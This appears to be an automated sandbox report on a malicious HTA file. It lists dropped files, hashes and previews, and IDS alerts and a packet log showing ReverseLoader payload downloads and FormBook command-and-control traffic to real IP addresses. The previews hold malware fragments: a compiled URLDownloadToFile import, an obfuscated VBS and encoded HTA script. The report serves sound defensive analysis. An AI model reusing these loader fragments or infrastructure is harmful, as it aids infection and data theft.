SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\RESC568.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Fri Dec 13 07:49:56 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.9917832940254114
Encrypted:	false
SSDEEP:	24:HHFzW916XicIHzwKTFexmfwI+ycuZhN5akSHPNnqS2d:lGkKTAxmo1ul5a3VqSG
MD5:	9C7C7B80F416D381B5A2305274085EFD
SHA1:	938CD869DEB0DC1ACCB21F33C87AE89E91927903
SHA-256:	75C6E20A44D321C29B4D000482A15EF7144027E6FBF1DC345057457742B0B0E0
SHA-512:	F017C3EEF037B9EE8800F98E6E3CAA0AB657675CF40660F2CF1E6249402D25F1C03B5474FB95F7C96D25FBC16B6B8C02C9D8077FC6CE838A9284D19CFB1EE88B
Malicious:	false
Preview:	L...$.[g.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........T....c:\Users\user\AppData\Local\Temp\j4tmsurx\CSCD8A49667F2D248CBA423D29C56F4A9D.TMP.......................bgP.y.7..........5.......C:\Users\user\AppData\Local\Temp\RESC568.tmp.-.<....................a..Microsoft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...j.4.t.m.s.u.r.x...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2vequ4ao.oql.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3g40ckqp.ar2.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjr0kovx.oyi.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hdjvy5wo.vwi.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hikbxegl.ldi.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jyueunha.q0j.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\j4tmsurx\CSCD8A49667F2D248CBA423D29C56F4A9D.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0993684637644034
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryLak7YnqqHPN5Dlq5J:+RI+ycuZhN5akSHPNnqX
MD5:	CB1BC10C18C0F2ABD5626750FD79CB37
SHA1:	B91AEBD1598990DDD5BAA18EA866D72DAC70EF4D
SHA-256:	DD3BA8310B81C3BF0CBE43118D16330D10C74C3C2F76A04C51C0856D59777FB1
SHA-512:	D6FD3E491D7227FB03EC726786BBF3B0B4078D1DF456E6203ECCB09F2357AD0478C13F2835CA7E60C3ACCEE6A40EC7C87DE9270A0CEF768307678B96719C4E89
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...j.4.t.m.s.u.r.x...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...j.4.t.m.s.u.r.x...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (380)
Category:	dropped
Size (bytes):	493
Entropy (8bit):	3.893627474667166
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuwvev8y7FMOfpjQXReKJ8SRHy4HaDSxrVRbFrEVbFy:V/DTLDfuVv17DuXfHtfRZEhFy
MD5:	2DC1DA68A8611E4D35E8B2659F1DEB5C
SHA1:	BD58E2D1AA111060D16C836072BA9B6E34FE61D1
SHA-256:	AA1FA62E1BF317E1570C02F949F24D4D9CD10B367643CA7021FE2B7EA0CA6B2C
SHA-512:	D3D074E37429B771C10265F6B520CF55329AAB25D8A617388F966015BD1D51473B5B859A0B7A9824C3D5D305199457EAB5E15D247C1837B6CD7464E836A9CC48
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace Az.{. public class ERiILfN. {. [DllImport("URlMON.dLL", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr XToPAokQl,string mDPjKpA,string XgBhMVZ,uint dSEJAYkpG,IntPtr yyuZCALYY);.. }..}.

C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
Category:	dropped
Size (bytes):	371
Entropy (8bit):	5.222822492813414
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2923fARhzxs7+AEszI923fARqyA:p37Lvkmb6KzoRhWZE2oRqyA
MD5:	A7C923DC19F5AD4F34D5C1B386D9CA45
SHA1:	69FBF12FE16B2CD39CCFF20501B1CEA9FF27ABBD
SHA-256:	E80B5398E2D28556A11D2593B0310DEE5A50A90F7D05B9B08A0222ABCA779FA1
SHA-512:	0A2760521C72E8B08F65D7E451E634303188EFEC1BF1CF883508B5EBED8AA91BDA056C30DDAF0AE3DD381FBB6368EA940844E6D838EE1A0290E7DAAF0E24AF55
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.0.cs"

C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.8734855528576615
Encrypted:	false
SSDEEP:	24:etGSbpeYYLPl78y713fukVHnCa0iiRb0PtkZfVZTyAFWI+ycuZhN5akSHPNnq:6sYwPlIMvxnCLRbdJVZ+91ul5a3Vq
MD5:	1E53706DAF45B9F6D6F2B4610D1C457C
SHA1:	69A0AF6F85D631D72BEDA02423C716C4220E8E99
SHA-256:	ABC21147AED3BF44119FD8E6DCA90D138668AD3A9FD896CA7F01C1E6D1B16944
SHA-512:	38AD1992AB862B706E5CBA1BCE3667828986925A20A99187BA80D8A14F00D73016EB9065F88E7F2097AA9C3D989856B7B7C2D13A526865F3C3431C4F74D68B61
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.[g...........!.................#... ...@....... ....................................@.................................d#..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~......$...#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................2.+...................................................... 9.....P ......K.........Q.....[.....c.....k.....u...K.....K...!.K.....K.......!............9......................................."..........<Module>.j4

C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (449), with CRLF, CR line terminators
Category:	modified
Size (bytes):	870
Entropy (8bit):	5.30321100326474
Encrypted:	false
SSDEEP:	24:KMoqd3ka6KzoR2E2oRZKax5DqBVKVrdFAMBJTH:doika6aoEE2oLK2DcVKdBJj
MD5:	8B08DC5B6F43785C19FA859F4F6D071F
SHA1:	E980DA42A13259F768ADA4FE98E082EF06B6435A
SHA-256:	D2B1BEEA01C6633E959AD0C31C24E46E35CE1634D0A6F0E1F3A71DF686C591E2
SHA-512:	730584FB800BFE7C1E1763A14DBCA7161A1C0851E39D9C71208370F7C15FCE4814AA7B75BDE159DEC4812199A22A1A1943BC22447B49F0209E96BFDDDB0BF983
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (3397), with CRLF line terminators
Category:	dropped
Size (bytes):	154312
Entropy (8bit):	3.806639108429499
Encrypted:	false
SSDEEP:	3072:puPqJg1SUqFVMcZjuPqJg1SUqFVMcRuPqJg1SUqFVMcP:pEq8SbOcZjEq8SbOcREq8SbOcP
MD5:	DB9CA30AC0C6D2526A780AB2E0AD8046
SHA1:	895B9150FB6B527C28155C466E10B553521C209B
SHA-256:	2BFEB2D07560A76ACC7181E72B31B8F758BE6300B81E9AAB7EB3157AE7E89730
SHA-512:	9994EA28C119620A70169B18CDA3D7F93083A352EE55A2BC72FB14EA125A67B5D2A93200A7D488D8B1712F39B3CE62B972471E2508269B9158A78E85E8B6374D
Malicious:	true
Preview:	...... . . . .....L.L.K.q.z.i.i.f.i.U.G.W.i.s.K. .=. .".g.c.u.N.p.a.p.p.i.q.f.z.l.x.n.".....P.h.U.m.f.h.N.j.S.h.p.v.W.k.m. .=. .".a.K.f.K.f.h.i.Z.O.t.n.p.p.a.Z.".....G.L.u.K.S.G.i.x.c.c.W.K.U.Q.W. .=. .".W.c.h.P.z.e.K.s.P.L.i.Z.K.h.N.".........W.L.T.C.W.d.U.p.U.G.N.K.W.h.u. .=. .".U.e.W.L.z.R.j.u.K.L.a.n.A.u.i.".....W.x.G.n.e.W.Z.R.U.A.W.k.K.f.W. .=. .".L.t.p.N.L.Z.k.C.h.N.d.i.q.W.i.".....k.L.m.c.W.J.K.G.J.c.L.k.P.b.v. .=. .".z.A.f.W.e.N.o.K.I.d.W.k.f.R.K.".....A.L.e.c.P.e.P.u.c.e.s.e.W.a.N. .=. .".d.Z.j.A.s.u.f.K.N.o.s.K.i.o.i.".....G.e.i.l.z.c.B.N.q.r.z.S.e.q.d. .=. .".i.o.K.W.r.L.P.v.m.q.o.L.j.H.z.".....n.h.d.W.S.G.c.z.P.W.W.l.i.c.W. .=. .".g.k.L.a.u.K.W.m.W.f.k.g.v.u.L.".....A.x.G.e.A.j.e.W.f.P.K.b.A.m.p. .=. .".W.n.G.W.W.K.K.o.K.K.x.K.i.I.z.".....b.L.L.h.i.K.k.g.o.K.b.b.o.I.b. .=. .".j.G.W.e.I.K.N.n.p.J.m.K.h.U.L.".....A.G.P.S.U.i.f.W.m.L.o.o.L.K.n. .=. .".G.k.L.Z.A.z.U.G.x.e.U.U.v.L.N.".....N.m.G.g.p.i.K.h.W.N.B.A.Z.h.c. .=. .".q.C.q.G.o.o.c.O.n.e.L.L.p.h.W.".....l.K.S.L.W.f.L.W.

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (65450), with CRLF line terminators
Entropy (8bit):	2.6312177924234574
TrID:
File name:	goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta
File size:	82'552 bytes
MD5:	db521beb834b08845d50b334054c4e2d
SHA1:	6a9588668d1dc29631b57d022b2194f884854a75
SHA256:	e32b43fe4921503121a4a547362eb8a67a50f6d2dee0c18b409c8655af008645
SHA512:	e4c6df8f6bb47788734dab93cf2c9575db206db35da61672be1d75c5e3f3e304941a9cc087c239eb1f0ddeb36fa856eb30b3d150a4612cc03d5ecdf92ccaaf6d
SSDEEP:	768:tmbUZA+cT/RVeU2Dx6AyZ6LAuAHAbzKxhT65Xd7589mdwaz4a/5XKdf5Pw9KNN/q:tH
TLSH:	14835807D54BF93CEB8799FBE33C9B1A1396AD01ED8E450F06AC05551BD5ACBB02C894
File Content Preview:	<Script Language='Javascript'>.. HTML Encryption provided by tufat.com -->.. ..document.write(unescape('%3C%53%63%72%69%70%74%20%4C%61%6E%67%75%61%67%65%3D%27%4A%61%76%61%73%63%72%69%70%74%27%3E%0A%3C%21%2D%2D%20%48%54%4D%4C%20%45%6E%63%72%79%70%74

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-13T07:38:22.832848+0100	2858795	ETPRO MALWARE ReverseLoader Payload Request (GET) M2	1	192.168.2.5	49712	107.172.44.175	80	TCP
2024-12-13T07:38:33.206592+0100	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	151.101.1.137	443	192.168.2.5	49713	TCP
2024-12-13T07:38:50.029607+0100	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.5	49753	172.67.187.200	443	TCP
2024-12-13T07:39:16.123094+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49815	208.91.197.27	80	TCP
2024-12-13T07:39:33.797079+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49851	3.33.130.190	80	TCP
2024-12-13T07:39:36.031275+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49861	3.33.130.190	80	TCP
2024-12-13T07:39:38.703333+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49868	3.33.130.190	80	TCP
2024-12-13T07:39:41.504805+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49874	3.33.130.190	80	TCP
2024-12-13T07:39:48.397723+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49890	3.33.130.190	80	TCP
2024-12-13T07:39:51.451839+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49896	3.33.130.190	80	TCP
2024-12-13T07:39:53.686100+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49906	3.33.130.190	80	TCP
2024-12-13T07:39:56.474963+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49913	3.33.130.190	80	TCP
2024-12-13T07:40:03.655139+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49929	104.21.31.249	80	TCP
2024-12-13T07:40:06.311331+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49935	104.21.31.249	80	TCP
2024-12-13T07:40:08.983058+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49941	104.21.31.249	80	TCP
2024-12-13T07:40:11.731625+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49948	104.21.31.249	80	TCP
2024-12-13T07:40:18.630100+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49968	3.33.130.190	80	TCP
2024-12-13T07:40:21.748109+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49974	3.33.130.190	80	TCP
2024-12-13T07:40:24.413011+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.5	49981	3.33.130.190	80	TCP
2024-12-13T07:40:27.067869+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.5	49991	3.33.130.190	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 07:38:21.595613956 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:21.715451956 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:21.715558052 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:21.715785980 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:21.835624933 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.832647085 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.832678080 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.832767963 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.832835913 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.832853079 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.832848072 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.832848072 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.832848072 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.832915068 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.832915068 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.832926035 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.832942009 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.832990885 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.832992077 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.833111048 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.833127975 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.833142996 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.833184958 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.833184958 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.952764034 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.952796936 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.952975035 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.952975035 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.956907988 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.956986904 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.957032919 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.957032919 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:22.965831995 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:22.965940952 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.025726080 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.025753021 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.025850058 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.025850058 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.029819012 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.029978991 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.030018091 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.030018091 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.036286116 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.036303043 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.036464930 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.044637918 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.044784069 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.044819117 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.044980049 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.053631067 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.053783894 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.054579020 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.054688931 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.061518908 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.061537027 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.061676979 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.069952965 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.070106030 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.070117950 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.070158958 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.077672005 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.077769995 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.077781916 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.077896118 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.086080074 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.086141109 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.086183071 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.086220980 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.093750954 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.093784094 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.093867064 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.093867064 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.100976944 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.101128101 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.101178885 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.101178885 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.108222008 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.108333111 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.108376980 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.108376980 CET	49712	80	192.168.2.5	107.172.44.175
Dec 13, 2024 07:38:23.115447998 CET	80	49712	107.172.44.175	192.168.2.5
Dec 13, 2024 07:38:23.115519047 CET	49712	80	192.168.2.5	107.172.44.175
